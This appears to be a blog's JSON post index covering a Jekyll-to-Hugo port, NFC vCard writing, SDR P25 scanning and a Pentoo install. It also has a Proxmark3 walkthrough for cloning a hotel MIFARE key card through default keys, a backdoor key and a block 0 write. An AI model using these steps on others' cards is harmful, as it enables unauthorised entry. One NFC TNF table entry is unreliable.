[{"content":" Heads up: this post was written by Claude (Anthropic\u0026rsquo;s AI), working alongside me on the port. I reviewed it, but the words are mostly its own. This is the story of rebuilding this site. It started on Jekyll with the Chirpy theme, and I moved it over to Hugo with a custom look I\u0026rsquo;m calling \u0026ldquo;Spectrum\u0026rdquo;: the homepage is a live SDR waterfall, topics are frequency bands, and each post is a channel you tune into.\nWhy move off Jekyll # Chirpy is a good theme and it served me fine. But two things kept nagging me:\nEvery local build meant Ruby, bundle, and a Gemfile.lock that liked to drift. On a Gentoo box that is more of a fight than it should be. I wanted the site to actually look like the stuff I write about. RF, SDR, RFID. A generic blog theme wasn\u0026rsquo;t saying any of that. Hugo is a single binary, builds the whole site in under a second, and the templating is flexible enough to build something weird on top of a solid theme. I picked Blowfish as the base because it handles all the boring parts (SEO, taxonomies, search, RSS) and lets me override just the pages I care about.\nNote The plan the whole time was: don\u0026rsquo;t reinvent a blog engine, just paint over a good one. Blowfish does the plumbing, my custom templates do the paint.\nGetting Hugo (the extended build) # Blowfish needs Hugo extended, and it wants a recent version. Portage only had an older one, and the GitHub Actions workflow I was going to deploy with pins 0.165. I didn\u0026rsquo;t want the version I build with locally to be different from the one that builds in CI, so I skipped the package manager and built it straight from source with Go:\nCGO_ENABLED=1 go install -tags extended github.com/gohugoio/hugo@v0.165.0 ~/go/bin/hugo version # should say +extended CGO_ENABLED=1 and the extended tag are what pull in the SCSS/WebP support. No root needed, it lands in ~/go/bin. Now local and CI are building with the exact same Hugo.\nThe idea: the site as a spectrum # Here\u0026rsquo;s the mental model I built everything around.\nThe homepage is a receiver. There\u0026rsquo;s a waterfall scrolling behind the title with a frequency ruler sitting around 1090 MHz (that\u0026rsquo;s ADS-B, the aircraft band, my little nod to the airplane tracker post). Topics are bands. Each one gets a real-ish frequency: RFID sits at 13.56 MHz because that\u0026rsquo;s the actual NFC frequency, Burp gets TCP 8080, LDAP gets TCP 389, and so on. Posts are channels. The post list looks like a scanner log: CH01, CH02, a date, the band, and a little signal-strength bar (which is really just word count). Hover any band or channel and the waterfall tunes to it. An amber line slides over and a spike lights up at that frequency. It\u0026rsquo;s fake, but it\u0026rsquo;s the good kind of fake.\nBuilding the waterfall # This was the fun part. I didn\u0026rsquo;t want a video or a gif, I wanted it drawn live so it\u0026rsquo;s tiny and never repeats. It\u0026rsquo;s one small script, about 80 lines.\nThe trick to a waterfall is you never redraw the old lines. Each frame you shove the whole image down by one pixel and only draw a fresh line at the top:\nctx.drawImage(s.c, 0, 0, W, H - 1, 0, 1, W, H - 1); // shift everything down 1px // ...then compute and stamp one new row at y=0 For that new row, each pixel is background noise plus a few \u0026ldquo;carriers.\u0026rdquo; A carrier is just a bright bump at a position, drawn with a Gaussian so it\u0026rsquo;s bright in the middle and fades at the edges:\nconst dx = (fx - drift) / k.w; v += k.a * 210 * Math.exp(-dx * dx); // bright bump centred on the carrier Then the strength value gets turned into a colour through a lookup table that ramps from near-black navy up through blue, red, amber, and finally white for the hottest signal.\nA few things I made sure of because they matter more than the effect itself:\nIf the visitor has reduce-motion turned on, it paints one still frame and stops. No exceptions. It only animates canvases that are actually on screen, and it pauses when the tab is hidden. No point cooking someone\u0026rsquo;s battery for a background. It renders at half resolution internally. On a waterfall you genuinely cannot tell, and it\u0026rsquo;s much cheaper. One file to map topics to frequencies # I didn\u0026rsquo;t want frequency numbers hardcoded all over the templates. So there\u0026rsquo;s one data file that maps every category to its label and its position on the waterfall (0 is the far left, 1 is the far right):\ncategories: rfid: { freq: \u0026#34;13.56 MHz · NFC\u0026#34;, pos: 0.34 } software-defined-radio: { freq: \u0026#34;24 MHz – 1.7 GHz\u0026#34;, pos: 0.62 } burp-suite: { freq: \u0026#34;TCP 8080\u0026#34;, pos: 0.22 } A little partial looks a topic up in there. If a topic isn\u0026rsquo;t listed, it hashes the name into a stable position so it still lands somewhere sensible instead of crashing. That means I can add a post in a brand new category and the site won\u0026rsquo;t break, it just won\u0026rsquo;t have a hand-picked frequency until I add one.\nTip If you want to give a topic a proper frequency, that one data file is the only thing you touch. Everything else reads from it.\nBringing the posts over # All the posts came over from Chirpy. The content was basically fine, but two things needed converting:\nCallouts. Chirpy uses {: .prompt-tip} style blocks. Hugo uses \u0026gt; [!TIP], \u0026gt; [!NOTE], \u0026gt; [!WARNING]. Those got swapped over. Image paths. The screenshots inside posts all live under static/assets/img/posts/ so the old links keep working without touching a single post body. Each post also gets its own little tuned waterfall strip above the hero image, set to that post\u0026rsquo;s band. Small touch, but it ties the whole thing together.\nNot breaking the old links # This was the part I refused to get wrong. The site has been up for a while, search engines know the URLs, and I\u0026rsquo;ve linked posts to each other. Breaking those on a redesign is how you throw away every bit of SEO you built.\nHugo builds posts at /posts/\u0026lt;slug\u0026gt;/, same as Chirpy did, so those all matched already. But I still checked every single one instead of assuming:\nfor f in _posts/*.md; do t=$(basename \u0026#34;$f\u0026#34; .md | sed -E \u0026#39;s/^[0-9]{4}-[0-9]{2}-[0-9]{2}-//\u0026#39;) # strip the date [ -f \u0026#34;public/posts/$t/index.html\u0026#34; ] \u0026amp;\u0026amp; echo \u0026#34;OK $t\u0026#34; || echo \u0026#34;BROKEN $t\u0026#34; done They all came back OK. Two other things did need fixing:\n/archives/ didn\u0026rsquo;t exist in Hugo. I pointed it at the posts list with an alias in the section\u0026rsquo;s _index.md: aliases: [\u0026#34;/archives/\u0026#34;] The RSS feed. Chirpy served it at /feed.xml, Hugo serves /index.xml by default. Anyone subscribed would have silently lost the feed. One setting fixes it: [outputFormats.RSS] baseName = \u0026#34;feed\u0026#34; Heads up if you copy this: that renames the feed everywhere, so any link that pointed at /index.xml now needs to point at /feed.xml. I had one in the author links that bit me. The About page and mobile # The About page got the same treatment: an \u0026ldquo;Operator profile\u0026rdquo; header over the waterfall, the bio on the left, and a sidebar of bands and links on the right.\nAnd because half of anyone\u0026rsquo;s traffic is on a phone, I checked every page at 390px wide for sideways scroll. The bands go from four columns to two, the signal meter on channel rows drops off, and the sidebar slides under the text.\nDeploying # No more Ruby in CI. The whole thing is a single GitHub Actions workflow that installs Hugo extended, builds, and pushes to Pages on every push to main. The nice part: if it ever goes wrong, flipping the Pages source back to the old branch restores the Jekyll site, because that history is still in the repo.\nWhat I\u0026rsquo;d tell myself starting over # Build with the same Hugo version as CI from day one. Chasing a \u0026ldquo;works locally, breaks in Actions\u0026rdquo; bug over a version mismatch is a waste of an evening. Put the moving numbers in one data file. I\u0026rsquo;m glad it exists every time I add a post. Check the old URLs before you\u0026rsquo;re proud of the new design, not after someone emails you that their bookmark 404s. That\u0026rsquo;s the build. The effect is a gimmick, sure, but it\u0026rsquo;s a gimmick that matches what the site is about, and everything under it is a normal, fast, boring-in-a-good-way Hugo site.\n","date":"Sep 26, 2026","externalUrl":null,"permalink":"/posts/porting-the-site-to-hugo/","section":"Posts","summary":"Why I moved this blog off Jekyll/Chirpy onto Hugo with a custom SDR “Spectrum” design, and how I built the live waterfall, the frequency bands, and the channel log without breaking any old URLs.","title":"Porting My Site from Jekyll to Hugo","type":"posts"},{"content":"This is a continuation of the RFID Hacking Project where we take it to the next level.\nThis time, I have decided to write a vCard to one of my RFID cards which is also my Amateur Radio License card that one of my friends gifted me for getting my Technician license. I will pretty much use the same toolkit as we did in the first part, except this time, I will use my RFID License card.\nWhat am I trying to achieve? # My friend gave me the RFID License and had it configured so that when you tap it to a phone that can read NFC, which is most phones these days, it redirects you to the FCC website with my information like my callsign, name, etc. And that is pretty cool.\nSo, I have decided to rewrite the data on the card and instead of having the phone redirected to a URL, I want it to read my contact information such as my name, phone number and personal website and give the user the option to save my contact information. That is what a Virtual Contact Card or vCard is. You can read more about it here: https://community.sinch.com/t5/SMS/What-is-a-vCard-and-how-do-they-work-nbsp/ta-p/9829\nToolkit # For this we will use:\nPentoo proxmark3 easy My RFID License Card. Reading the Card using Proxmark3 # First, reading the card:\nauto We can see the type and it\u0026rsquo;s an NTAG 2xx card. We can take it up a notch and run the hint command hf mfu info\nhf mfu info Now we can clearly see the type which is NTAG213, and there are 144 bytes available to Read/Write, which is 36 of the total pages we can use.\nThe card has 180 bytes of memory in total, which is 45 pages of data.\nThat is very useful to know considering we are about to write some data on the card. We need to know how much space we have, otherwise we might try to write something that is too long and may not fit on the card.\nIf we want to read the data on the current card, we can do it like this:\nhf mfu ndefread To save/export the url or data that is on the card:\nhf mfu ndefread -f myurl It will save the data from the card as .bin and .json files you can read later. The .bin file is reader friendly.\nWriting to the Card # Writing Manually # To write the bits to the card, we can look at the NFC URI Prefix Mapping. For example: 04 = https:// | 05 = tel: | 06 = mailto:\nIf we want to write a url like https://proton.com onto the card, the full stream would be:\n03 0F D1 01 0B 55 04 70 72 6F 74 6F 6E 2E 63 6F 6D FE Let\u0026rsquo;s break it down a little bit.\n03 0F D1 01 0B 55 | 04 70 72 6F 74 6F 6E 2E 63 6F 6D | FE The first part: 03 0F D1 01 0B 55 is the TLV (Type-Length-Value) Wrapper.\n03 is the outer envelope opener Type (T). It\u0026rsquo;s a way of saying \u0026ldquo;here comes an NDEF message.\u0026rdquo; It\u0026rsquo;s a fixed constant from the NFC Forum Type 2 Tag spec.\n0F is the outer envelope length (Length): it says how many bytes the NDEF message is. Starting from D1 to 6D = 15 bytes = 0F in Hex.\nD1 is the NDEF record header. It\u0026rsquo;s a packed byte of flags that tells the reader this is a single, complete, short, well-known-type record. This will remain constant when writing data that is under 255 bytes. If we go beyond 255 bytes, it will change to C1 instead. Our card has a size of 144 bytes we can use anyway, so it\u0026rsquo;s going to remain D1 :).\nhttps://proton.com is 18 characters/bytes so we are good.\n01 here is actually the Type Length, not the TNF. It tells the reader that the Type field coming right after the length bytes (55) is 1 byte long.\nThe TNF (Type Name Format), which is what actually distinguishes a Well-Known Record from a MIME Media Record, is packed into the low 3 bits of the D1 flags byte we covered earlier (D1 = 1101 0001 in binary, so TNF = 001 = Well-Known).\nOur Type Length happens to be 01 because our type is a single character (U for URI). If we were writing a MIME Media Record with a type like text/plain, the Type Length would be 0A (10 characters), not 02.\nFor reference, here\u0026rsquo;s what each TNF value means:\nTNF Value Record Type --------- ----------------------------------------- 0x00 Empty Record Indicates no type, id, or payload is associated with this NDEF Record. This record type is useful on newly formatted cards since every NDEF tag must have at least one NDEF Record. 0x01 Well-Known Record Indicates the type field uses the RTD type name format. This type name is used to stored any record defined by a Record Type Definition (RTD), such as storing RTD Text, RTD URIs, etc., and is one of the mostly frequently used and useful record types. 0x02 MIME Media Record Indicates the payload is an intermediate or final chunk of a chunked NDEF Record 0x03 Absolute URI Record Indicates the type field contains a value that follows the absolute-URI BNF construct defined by RFC 3986 0x04 External Record Indicates the type field contains a value that follows the RTD external name specification 0x05 Unknown Record Indicates the payload type is unknown 0x06 Unchanged Record Indicates the payload is an intermediate or final chunk of a chunked NDEF Record 0B is the payload length. The payload is https://proton.com. 0B is the Hex value for 11, so it\u0026rsquo;s a way of saying the payload is 11 bytes. 11 bytes because the payload is 04 70 72 6F 74 6F 6E 2E 63 6F 6D which translates to https://proton.com.\nhttps:// p r o t o n . c o m 04 70 72 6F 74 6F 6E 2E 63 6F 6D = 11 bytes I have already covered https:// being 04. For the rest of the payload, 70 72 6F 74 6F 6E 2E 63 6F 6D, it\u0026rsquo;s the Hex Value for each letter of proton.com.\n55 is the type field itself: the actual content that 01 (TYPE_LENGTH) told the reader to expect. In our case, it\u0026rsquo;s U = URI Record. Capital U has the hex code 55 in ASCII.\nFE at the very end is the Terminator TLV. It\u0026rsquo;s the last TLV block in the data area and marks the end of the TLV data, consisting of a single byte with the value 0xFE.\nSo, that\u0026rsquo;s the breakdown of the full stream if we want to write the URI: https://proton.com onto the card.\nNow to write it on the card using proxmark3, we will write it per page, in blocks of 4. Remember, we have 45 pages in total with only 36 pages that we can write to.\nWe will divide the full stream 03 0F D1 01 0B 55 04 70 72 6F 74 6F 6E 2E 63 6F 6D FE into chunks of 4 bytes, and write it like this in proxmark3:\nhf mfu wrbl -b 4 -d 030FD101 hf mfu wrbl -b 5 -d 0B550470 hf mfu wrbl -b 6 -d 726F746F hf mfu wrbl -b 7 -d 6E2E636F hf mfu wrbl -b 8 -d 6DFE0000 We can\u0026rsquo;t write to blocks 0-3 because they hold the UID/serial number, internal manufacturer data, lock bytes, and the capability container (CC), all of which are fixed or write-protected by the chip itself.\nUser memory starts at block 4, so that\u0026rsquo;s where our stream begins.\nNow writing manually is fine for something like a URI, which is short and easy. But for something like a vCard, although it\u0026rsquo;s the same logic, it\u0026rsquo;s a bit longer, which means that if we were to do it manually, we could easily make a lot of mistakes.\nSo, I wrote a quick script to directly convert the data we want, so we can easily copy it to proxmark3 and write it to the card.\nWriting Automatically using vcard2ndef.py # vcard2ndef.py is on my GitHub if you want to check it out.\npython vcard2ndef.py After filling it out, it gives you:\nA summary and breakdown The full stream The commands to write it to the card using proxmark3. You can copy the whole block and paste it in proxmark3. Voila, that should write it nicely to the card for us.\nIf we want to verify that everything is written as intended, we can run:\nhf mfu ndefread Tip I will definitely upgrade the script in the near future. Right now it works just fine but there are a couple of quality of life upgrades I will make when I get a little bit of time. I will write a separate post about the script and the various upgrades when I do.\n","date":"Jul 31, 2026","externalUrl":null,"permalink":"/posts/rfid-hacking-pt2/","section":"Posts","summary":"How to read an NTAG213 NFC tag, break down its NDEF/TLV data structure, and write a custom vCard to it using Proxmark3, including a Python script (vcard2ndef.py) that automates the process.","title":"Writing a vCard to an NFC Tag with Proxmark3 (Part 2)","type":"posts"},{"content":" Toolkit # For this we will use:\nPentoo proxmark3 easy RFID Cards we want to hack HF(High Frequency) \u0026amp; LF(Low Frequency) Blank Cards Note proxmark3-easy is essentially a less expensive proxmark3 that uses lower quality hardware compared to the original.\nGetting Started # Let\u0026rsquo;s start by plugging in our tool and launching it.\npm3 Tip Since I\u0026rsquo;m using pentoo, proxmark3 is already installed. On any other linux distro or windows, you have to install it yourself. This is another great advantage of using pentoo :)\nThe next thing we should do is measure our antenna performance to make sure our tool is working right.\nWarning Before we measure our antenna performance, let\u0026rsquo;s make sure we don\u0026rsquo;t have a card or tag on top of proxmark3-easy or around, we are not sitting on a metal desk and we don\u0026rsquo;t have anything metallic close to it as this can \u0026ldquo;detune\u0026rdquo; the antenna.\nhw tune Now, we are ready to start.\nHotel RFID Card Hacking # Reading the RFID Card # We will start by doing something simple, which is cloning a hotel key card.\nWe can look inside the card with a flashlight to determine what kind of RFID Card it is (HF/LF). See it here\nTip We can look inside a card that is \u0026ldquo;white\u0026rdquo; with a flash light. But if a card has paint over it or something, it may be hard or even impossible to see the antenna with a flashlight :(\nUsually, if we don\u0026rsquo;t know what type of card (HF/LF) an RFID card is, we can simply place the card on our tool and run the auto command on proxmark3, which will run all the commands (including lf search and hf search)\nauto We can see that it tries lf search first and didn\u0026rsquo;t get anything. That means it is not an LF card.\nThen it tries hf search, and this time it identifies the tag, the UID, encryption (MIFARE Classic 1K), and so on\u0026hellip; That confirms it is an HF card. Looking at the antenna inside the card also confirms it.\nIf we try the HINT command provided, we should be able to get more information on our hotel card.\nhf mf info This looks so beautiful. A couple of things to note:\nThe \u0026ldquo;factory default\u0026rdquo; key is still being used FFFFFFFFFFFF which makes it extremely easy to clone or modify our card.\nproxmark3 found a backdoor key. On a genuine NXP MIFARE card, block 0 (the manufacturer block) is permanently write-protected after production. The FM11RF08S backdoor bypasses that protection and lets us write directly to block 0, which is exactly what we need to clone the card.\nThe fingerprint is Fudan FM11RF08S which is a Chinese clone or compatible chip and not a genuine NXP MIFARE Card, and that also explains the weak PRNG (Pseudo-Random Number Generator)\nA typical Mifare Classic 1K card is like a cabinet with 16 drawers (Sectors). Each drawer has 4 folders (Blocks) inside.\nThe way the encryption works is to open a drawer, you need to use a key (Key A).\nEach drawer/sector has two different keys:\nKey A - used to read the data/folder inside the drawer Key B - used to modify the data/folder inside the drawer\nThe fact that the default key is used to open both sector 0 and sector 1 is a security vulnerability we can exploit. It\u0026rsquo;s like a user forgetting to change their router\u0026rsquo;s default credentials.\nMIFARE Cards don\u0026rsquo;t have backdoor keys. The fact that proxmark3 found a secret Backdoor key means it\u0026rsquo;s a counterfeit MIFARE card and not the original.\nThe Static enc nonce... yes (enc=encrypted) shown at the bottom is another interesting piece.\nNonce stands for Number used ONCE. Typically, in a secure system, every time a card communicates with a reader, it should generate a new, random nonce to start the encryption. This helps prevent replay attacks using the same number.\nThe Static enc nonce... yes means that the card uses the same number everytime it talks to a reader instead of generating a new number. If the number is very predictable, that is a big security vulnerability, which is good for us ;)\nThere is a Hint command again at the bottom, let\u0026rsquo;s try it!\nscript run fm11rf08s_recovery.py As we can see from the output, all sectors from 0-15 use the same factory default keys for A and B. Those are the 16 sectors a genuine MIFARE Classic 1K would have. But the script also found sector 032 (block 131), which is an additional sector specific to this counterfeit Fudan chip. That sector has a non-default key, which is where the actual access data is stored.\nCloning the card # First, we need to read our blank hf card and identify if it has any magic capabilities, which is either Gen 1a or Gen 2 (CUID)\nhf search Then, dump our hotel card. But since we already have a dump from running our Python script, we are good!\nNow, we have to manually write block0 to our blank card.\nhf mf wrbl --blk 0 -k FFFFFFFFFFFF -d 43B9FAB1B108040004C8C181C11B3E90 In Block 0: 43B9FAB1B108040004C8C181C11B3E90\nBytes 0, 1, 2 and 3: 43 B9 FA B1 is the card\u0026rsquo;s UID Byte 4: B1 is the UID checksum Byte 5: 08 is the SAK (Select Acknowledge) which identifies the card type Bytes 6 \u0026amp; 7: 04 00 is the ATQA (Answer To Request) Bytes 8, 9, 10, 11, 12, 13, 14 \u0026amp; 15: 04 C8 C1 81 C1 1B 3E 90 is the manufacturer data. Now let\u0026rsquo;s verify block 0 was successfully written to our blank card.\nhf mf rdbl --blk 0 Now, let\u0026rsquo;s restore the full dump we got from our hotel card onto the blank card (clone).\nhf mf restore -f hf-mf-43B9FAB1-dump-003.bin Looks like everything went smoothly. So, now if we check our clone, it should have the same information as our hotel card (the original).\nhf search hf mf info And there we go! We have successfully cloned our hotel card.\nIn Part 2, we will explore what else we can do with the data we extracted.\n","date":"May 12, 2026","externalUrl":null,"permalink":"/posts/rfid-hacking/","section":"Posts","summary":"How to read, analyze, and clone a hotel RFID key card using Proxmark3 — covers MIFARE Classic 1K structure, key recovery, and card cloning.","title":"Practical RFID Recon with Proxmark3 (Part 1)","type":"posts"},{"content":" Warning Listening to unencrypted police, fire, EMS, and other public safety radio transmissions is generally legal in the United States for personal, private use, as these are public airwaves. However:\nDo not rebroadcast, record, or share any audio, talkgroup details, or operational information publicly. This can violate federal wiretapping laws (18 U.S.C. § 2511) or state regulations in some jurisdictions. Respect encryption: Modern P25 Phase II systems are often encrypted; attempting to decrypt is illegal under the Electronic Communications Privacy Act. Check local laws: Some states or localities restrict scanner use while driving or impose additional rules. Verify regulations in your area For this, we need a software decoder and an SDR to work. Here is how I have set up my environment:\nOS: Linux Distro: pentoo Laptop: Framework 13 Software Decoder: SDRTrunk Software-Defined Radio(SDR): Nooelec NESDR SMArt v5 // Amazon Link Tip New to Pentoo? See my Pentoo installation post.\nSDRTrunk # SDRTrunk is an open source software decoder for monitoring trunked radio systems using Software-Defined Radios (SDRs).\nDownloading SDRTrunk # The first thing we need to do is download it from the official repository. Get the latest release version under Releases\nUnder Assets, we have all the compiled and compressed binaries for that version. Since we are on Pentoo x86_64 (64-bit) we will download the sdr-trunk-linux-x86_64-v0.6.1.zip file\nNow that we have it downloaded, we need to unzip the file\nunzip ~/Downloads/sdr-trunk-linux-x86_64-v0.6.1.zip The sdr-trunk binary can be found in sdr-trunk-linux-x86_64-v0.6.1/bin/\nWe can launch it by moving to the directory and running ./sdr-trunk or just\n./sdr-trunk-linux-x86_64-v0.6.1/bin/sdr-trunk Note Make sure you plug your SDR directly into the usb port of your laptop before launching sdrtrunk\nSetting up SDRTrunk # After you start sdr-trunk for the first time you will get this screen.\nYou should read it, and then select Calibrate.\nWhile it\u0026rsquo;s calibrating, you shouldn\u0026rsquo;t do anything. Wait until it\u0026rsquo;s finished.\nThen restart sdr-trunk, after the calibration is done.\nNow, go to View \u0026gt; User Preferences \u0026gt; JMBE Audio Library and click on Create Library, you will get the screen below.\nChoose Yes and choose Create Library on the screen after.\nNext go to Output/Tones and test your audio to make sure you can hear the beep. If you can\u0026rsquo;t hear anything after hitting Test, make sure:\nYour speakers aren\u0026rsquo;t muted You have tested all the speakers listed under Audio Output Device and none of them work You can hear audio when you go on YouTube Tip If you have tested and confirmed all the above, and you still can\u0026rsquo;t hear anything in SDRTrunk, read the next section below Audio Issue Fixed for a possible solution. Otherwise, just skip it and continue to Setting up a Playlist\nAudio Issue Fixed # List your audio devices\naplay -l In my case, my audio device is card 1. I will now launch sdr-trunk this way:\nALSA_CARD=1 ./sdr-trunk Test the audio now, it should work! :)\nNote You will have to launch sdr-trunk this way every time for the audio to work. However, I\u0026rsquo;m working on finding a better fix that will let you launch sdr-trunk normally. I will update this page, once I test it and it works fine.\nFor a good understanding of how this all works, check out Advanced Linux Sound Architecture. It\u0026rsquo;s very informative, and you might be able to find the ultimate fix.\nFinding a frequency # Now, we need to find a frequency we want to monitor. Let\u0026rsquo;s visit RadioReference\nOnce there:\nClick on Databases \u0026gt; RR Database \u0026gt; Browse You will see this map\nFind your state on the map and select it. For example, let\u0026rsquo;s select Virginia on the Map. It will take us here\nAt the bottom there is the System Name, we can select it. That will lead us to the next page below\nAs we can see next to System Type, Virginia uses Project 25 (P25).\nNow, select your county under County. Let\u0026rsquo;s select Loundoun. On the next page, we should see something like this\nWe are looking for P25 under Mode. So far we are seeing, FMN and FM. Let\u0026rsquo;s keep scrolling on the page and hope we see P25.\nP25 is the digital trunked radio standard used by most public safety agencies, so monitoring it lets you follow real police/fire/EMS activities.\nCaution P25e is P25 but encrypted. We should not use those frequencies.\nAt the bottom of the page, we found a P25 frequency: 773.40625 Now that we have our target frequency, let\u0026rsquo;s configure SDRTrunk to monitor it by creating a playlist.\nSetting Up a Playlist # From the main screen, click on Playlist Editor\nThen, click on Channels on the next screen. Next, click on \u0026hellip; on the right side of the screen\nChoose P25 Phase 1, and you should see something like this below:\nYou can put whatever you want or whatever helps you organize your playlist for the following:\nSystem, Site and Name They are just Optional Labels. What you do want to pay attention to is the Frequencies (MHz)\nLet\u0026rsquo;s put in our target frequency 773.40625. This is what our playlist looks like\nMake sure you hit save on the right and then hit Play.\nOn the spectrum, it doesn\u0026rsquo;t look like there is any traffic on 773.40625.\nWarning P25 systems are often quiet depending on time/day. No one\u0026rsquo;s talking at this time on 773.40625, for example. We can try:\nAnother P25 control channel freq in your area (Search on RadioReference) Same frequency later (evening rush sometimes = more activity) This is what a busy frequency (when people are talking) looks like\nThe big red line on the spectrum shows active voice transmissions. However, if a call is Encrypted you\u0026rsquo;ll see the spikes (Red Lines) but won\u0026rsquo;t hear anything, that\u0026rsquo;s normal and expected.\nTip If you have tried everything, and still don\u0026rsquo;t get it to work. I highly recommend joining the RFHS Discord and post your question in #sdr-chat\nThe P25 scanner is ready. Now test different frequencies/times to catch live traffic.\nNote If you are interested on doing this on Windows, check out Tech Dad Adventures. He does a pretty good job breaking down the steps for Windows, and goes a bit more in depth on some SDRTrunk stuff.\nTip Have an SDR and want another project? Tracking Aircraft with Dump1090 shows you how to pull live ADS-B signals and map real-time aircraft with the same dongle.\n","date":"Jan 23, 2026","externalUrl":null,"permalink":"/posts/p25-scanner/","section":"Posts","summary":"How to monitor and decode P25 digital trunked radio communications on Linux using SDRTrunk and a Software-Defined Radio dongle.","title":"P25 Scanner using SDRTrunk","type":"posts"},{"content":" Choose DD mode when flashing the USB drive with pentoo using rufus If using a VM, make sure your pentoo vm is set to (UEFI Boot) instead of BIOS To change your vm firmware type from BIOS to UEFI on VMware:\nSelect your pentoo VM Click on \u0026ldquo;Edit virtual machine settings\u0026rdquo; \u0026gt; Options \u0026gt; Advanced \u0026gt; Firmware type What is Pentoo and who is behind it?: Pentoo\nShoutout to the OG Null Byte (author @distortion): Null Byte\nDownload the Iso # First you want to get the latest iso version from the official website Select \u0026ldquo;Download from the main site (US)\u0026rdquo; and that should take you to this page: https://www.pentoo.ch/isos/\nBefore you do anything, read this README\nNote The README file explains which architecture (amd64 vs x86) and edition (Full/Core, hardened) you should choose.\nThen, Choose the Release directory\nFrom here, select the latest Pentoo_Full_amd64_hardened ISO unless you specifically need another variant.\nPentoo_Full_amd64_hardened/ Note The Full iso variant is usually the best choice for a typical 64‑bit installation unless you know you need a different image.\nIn that directory, choose the first .iso file and download it.\nIf the download fails, try cleaning your browser cache and downloading again.\nYou can also download directly from the terminal using PowerShell; since wget isn\u0026rsquo;t a command prompt utility.\nwget https://www.pentoo.ch/isos/Release/Pentoo_Full_amd64_hardened/pentoo-full-amd64-hardened-2026.0_p20260118.iso -UseBasicParsing For a more direct download if you don\u0026rsquo;t know the full version name\nwget -r -l1 --no-parent -A .iso https://www.pentoo.ch/isos/Release/Pentoo_Full_amd64_hardened/ Flash the USB drive # Using Rufus (Windows Only) # Once you have the ISO, flash it to a USB drive. Use at least an 8 GB USB drive (16 GB is better).\nDownload Rufus from the official site\nRun Rufus and:\nSelect your USB drive under Device. Select the Pentoo ISO under Boot selection. Tip You want to hit Select to choose your pentoo iso file that you downloaded.\nOnce you have selected and confirmed that everything is good, hit Start.\nYou will get this pop up. Make sure you select \u0026ldquo;Write in DD Image mode\u0026rdquo;\nAnd then click OK. It should take a few minutes (about 15 min), and it will let you know when it\u0026rsquo;s done (Ready)\nUsing balenaEtcher (Windows or Linux) # Download it from the official website\nRun it, and select the pentoo iso file and make sure it\u0026rsquo;s the usb device you want to use, then hit \u0026ldquo;Flash\u0026rdquo;\nThat\u0026rsquo;s it. Pretty simple\nUsing DD (Linux Only) # dd is a utility that works on linux only. You could find a windows port for it if you want to use it on windows or a similar low level tool for flashing usb drives from the terminal, but honestly no need. Just use rufus or balenaEtcher.\nTo do this from the terminal, use the dd command to write the iso directly to the USB device.\nYou can check and confirm your USB device. Use lsblk or fdisk -l\nsudo fdisk -l [...] Disk /dev/sdb: 14.46 GiB, 15525216256 bytes, 30322688 sectors Disk model: USB 2.0 FD Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: 0A6A2663-A2C2-4432-B806-AB5C2904DE0B [...] lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS sda 8:0 0 80.1G 0 disk └─sda1 8:1 0 80.1G 0 part / sdb 8:16 1 14.5G 0 disk ├─sdb1 8:17 1 414K 0 part ├─sdb2 8:18 1 2.8M 0 part ├─sdb3 8:19 1 5.6G 0 part └─sdb4 8:20 1 300K 0 part Now that you know your drive name, write the iso to the usb drive using dd:\nsudo dd if=pentoo-full-amd64-hardened-2026.0_p20260118.iso of=/dev/sdb bs=4M status=progress oflag=sync 6055708672 bytes (6.1 GB, 5.6 GiB) copied, 1288 s, 4.7 MB/s 1443+1 records in 1443+1 records out 6055708672 bytes (6.1 GB, 5.6 GiB) copied, 1288.39 s, 4.7 MB/s After it\u0026rsquo;s done writing the iso file to the usb drive, you can run sync once more just to make sure nothing was missed to avoid any corruption.\nsync Now, you can eject the usb device safely, if it was mounted\numount /dev/sdb Otherwise, you can just unplug the USB drive.\nThe Installation # After you get everything right and boot from the USB drive on your Laptop, you should get here Pretty Screen!\nWarning You do not get the pretty screen when using the core iso.\nFrom here, launch the Pentoo Installer on the desktop. If you get the security prompt, choose \u0026ldquo;Mark As Secure and Launch\u0026rdquo; and you will land here:\nTip If you chose core instead of the full iso, you can run the installer from the terminal using sudo pentoo-installer.\nSet your time. Choose between Local Time and UTC, straight forward. Then choose the numbers corresponding on your area. After that, there is the next step in the installation.\nUnless you are an expert and you know what you are doing, choose the first option\nWhen you are done, you will see a third option pop up. Select it to end this step The next step will be \u0026ldquo;Copy the distribution\u0026rdquo; which is straightforward. You will get this screen after it\u0026rsquo;s done. I always choose yes, and I have never had any issue, but choosing no is safe. For the \u0026ldquo;Select Profile\u0026rdquo; step, I always choose 55. As quoted by Null Byte, \u0026ldquo;If you are migrating from Kali, this might be the best option as software installations will require less time and user input to complete.\u0026rdquo;\nFor the next step, I choose nano, because it\u0026rsquo;s easier. Feel free to choose vi or vim if you enjoy that.\nYou want to pay attention to the screen after that. If you don\u0026rsquo;t set the root password, you can just run root commands without any password, so can anyone with access to your laptop :)\nThe Boot Options \u0026ldquo;Boot0pts\u0026rdquo; configuration is the most interesting BootNet: enable this so NetworkManager starts automatically; otherwise Wi‑Fi and networking won’t come up on boot. BootX: enable this to boot directly into the GUI instead of dropping into a console. By default, pentoo boots to the console, then you can boot into the GUI with the command:\nstartx When you are done, Select \u0026ldquo;Done\u0026rdquo; to go back and \u0026ldquo;Done\u0026rdquo; again.\nNext, install the bootloader, Select GRUB2-UEFI, that\u0026rsquo;s the default It will redirect you to the config file for Grub2, just exit for the installation to start. You can exit with CTRL+X. The installation should start right after that.\nAnd that\u0026rsquo;s all.\nPentoo is Open Source. If you have any questions or run into any issue, don\u0026rsquo;t hesitate to join the Discord: https://discord.gg/5yhY9bg\nOther ways to reach out are listed on the official website\nTip Now that you have Pentoo up and running, here are a couple of things to try: P25 Scanner using SDRTrunk for RF work, or Practical RFID Recon with Proxmark3 for hardware hacking.\n","date":"Jan 18, 2026","externalUrl":null,"permalink":"/posts/pentoo-installation/","section":"Posts","summary":"Step-by-step guide to installing Pentoo Linux, a Gentoo-based security distribution, including partitioning, bootloader setup, and post-install configuration.","title":"Pentoo Installation","type":"posts"},{"content":"","date":"Sep 26, 2026","externalUrl":null,"permalink":"/categories/blog/","section":"Categories","summary":"","title":"Blog","type":"categories"},{"content":"","date":"Sep 26, 